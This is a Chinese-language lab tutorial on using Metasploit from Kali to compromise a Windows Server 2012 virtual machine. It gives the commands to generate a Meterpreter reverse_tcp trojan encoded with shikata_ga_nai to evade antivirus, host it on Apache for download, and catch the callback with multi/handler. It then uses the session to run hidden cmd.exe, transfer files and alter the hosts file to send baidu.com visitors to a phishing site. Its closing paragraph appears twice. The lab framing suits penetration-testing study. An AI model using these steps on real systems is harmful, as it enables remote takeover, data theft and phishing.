实验环境
- ENSP模拟器
- ensp中路由器
- VMwarestation虚拟机软件
- 虚拟机kali(通过cloud1桥接网卡VM5)
- win10版本,这里采用Windows server 2012(通过cloud2桥接网卡VM6)
开始实验
IP与网络配置等省略
本次实验主要使用Metasploit架构来实现对Windows server 2012主机的木马上传
kali中的MSF函数都在/usr/share/metasploit-framework/lib/msf中
在kail中Metasploit函数库进行初始化,Metasploit函数库其本质也是一种基于PostgreSQL运行的一种数据库
初始化Metasploit库将会创建数据库用户msf,创建数据库msf和msf_test,同时将它们添加到/usr/share/metasploit-framework/config/database.yml的配置文件中
这些都可以在执行初始化命令时的回显看到
──(root㉿kali)-[~]
└─# msfdb init
进入MSF的控制台中,每次进入MSF的控制台中都会有不同的图案
┌──(root㉿kali)-[~]
└─# msfconsole
这里提示了在MSF中存在着几种类型的模块
- Exploit:攻击模块,顾名思义,主要对漏洞进行攻击
- payloads:有效负载模块,连接目标成功或利用成功之后,使用什么东西去打它
- auxiliary:辅助模块,执行扫描、模糊测试和嗅探等功能
- post:后渗透模块,在一次成功的攻击之后,在被攻击者上继续收集有用的数据
- encoder:编码器,当漏洞必须绕过反病毒防御系统时,这些编码编码有效负载,使其无法使用签名匹配技术进行检测
- nops:空指令模块,用来在攻击过程种促进缓冲区溢出
看到“msf6 >”的标志就说明成功地进入了MSF控制台
接下来就可以查看数据库的状态,可以看到MSF的类型是PostgreSQL
msf6 > db_status
接下来我们就可以使用payload模块来生成一个木马,可以看到,我们已经换了一个视图,我们就是在这个视图中生成属于自己的漏洞
msf6 > use payload/windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) >
查看有什么需要配置的,可以看到我们需要对LHOST进行配置,而LHOST的意思就是LOCALHOST,也就是需要配置kali本机的IP地址,也就是侦听IP
msf6 payload(windows/meterpreter/reverse_tcp) > show options
msf6 payload(windows/meterpreter/reverse_tcp) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf6 payload(windows/meterpreter/reverse_tcp) > show options、
对木马的预信息配置完成之后,就可使用命令生成木马文件了
generate表示生产,-e x86表示木马适配x86,-f exe 表示指定木马的格式,-o comeup.exe表示木马的名字
msf6 payload(windows/meterpreter/reverse_tcp) > generate -e x86/shikata_ga_nai -f exe -o comeup.exe
[*] Writing 73802 bytes to comeup.exe...
那么问题就来了,执行完命令后,按理来说会生成一个木马文件,那么这个木马文件到底去哪里了呢?
回想起来,我们是在/home/root,即root用户的家目录中进入MSF控制台的,所以我们可以抱着尝试的心态去看一看
我们先不要关闭终端,再开启一个终端。哎!发现真的在这里
我们可以将其拷贝到kali的桌面上
┌──(root㉿kali)-[~]
└─# cp comeup.exe /home/kali/Desktop
可以发现comeup.exe已经在kali在桌面上了
木马生成之后,我们就需要将这个木马传递到目标的主机上
这里我们模拟Windows访问kali的apache网站,导致下载木马文件,需要我们在kali上开启apache
┌──(root㉿kali)-[~]
└─# /etc/init.d/apache2 start
Starting apache2 (via systemctl): apache2.service. //开启apache服务
┌──(root㉿kali)-[~]
└─# cp comeup.exe /var/www/html/ //将木马拷贝到apache的站点目录中
这时,只要windows一旦去访问192.168.1.1/comeup.exe,在信任的情况下,就会下载木马
这里我们模拟一下大家都会选择的信任该站点
我们先选择保存到桌面
下面,我们就可使用MSF库中的exploit模块对木马进行操作,在kali中切换模块
执行完命令后,则会进入到exploit视图中
msf6 payload(windows/meterpreter/reverse_tcp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
还需要对现在的监听模块和生成木马的模块进行关联,逻辑上使其成为一个模块
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
设置监听地址为0.0.0.0,即默认监听全部地址
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > show options
接下来,就差一步,在kali上执行run命名,并在Windows双击comeup.exe文件,模拟场景
没有双击之前run
双击之后
这下只,我们就大功告成了
通过使用ls命令,我们就可以看到我们控制的Windows上有什么文件
其余的切换目录,查看文件内容,都和Linux中非常地相似,如cat,pwd等
我们可以使用某些命令来,使得Windows直接运行某些软件
如,这里我们直接使Windows运行记事本,可以发现Windows上就立马运行了记事本
meterpreter > execute -f notepad.exe
Process 632 created.
还可以将记事本隐藏起来运行
execute -H -f notepad.exe
我们肯定知道Windows上的cmd.exe
同样地,我们也可以在kali中运行cmd,只不过是在Windows中隐藏起来,在kali中进行对cmd进行交互
meterpreter > execute -H -i -f cmd.exe
我们可以尝试着从Windows上下载和上传文件
在kali上尝试着将这个文件下载下来
使用download “文件名”,可以将当前路径下的文件给下载下来
使用upload “文件名”,可以进行上传文件
search命令可以在目标主机上搜索特定的文件,
edit "文件路径\文件名"可以调用vi编辑器,经常用于修改目标主机的hosts文件,使其访问www.baidu.com的时候自动跳转到我们的钓鱼网站
]
我们可以尝试着从Windows上下载和上传文件
在kali上尝试着将这个文件下载下来
使用download “文件名”,可以将当前路径下的文件给下载下来
使用upload “文件名”,可以进行上传文件
search命令可以在目标主机上搜索特定的文件,
edit "文件路径\文件名"可以调用vi编辑器,经常用于修改目标主机的hosts文件,使其访问www.baidu.com的时候自动跳转到我们的钓鱼网站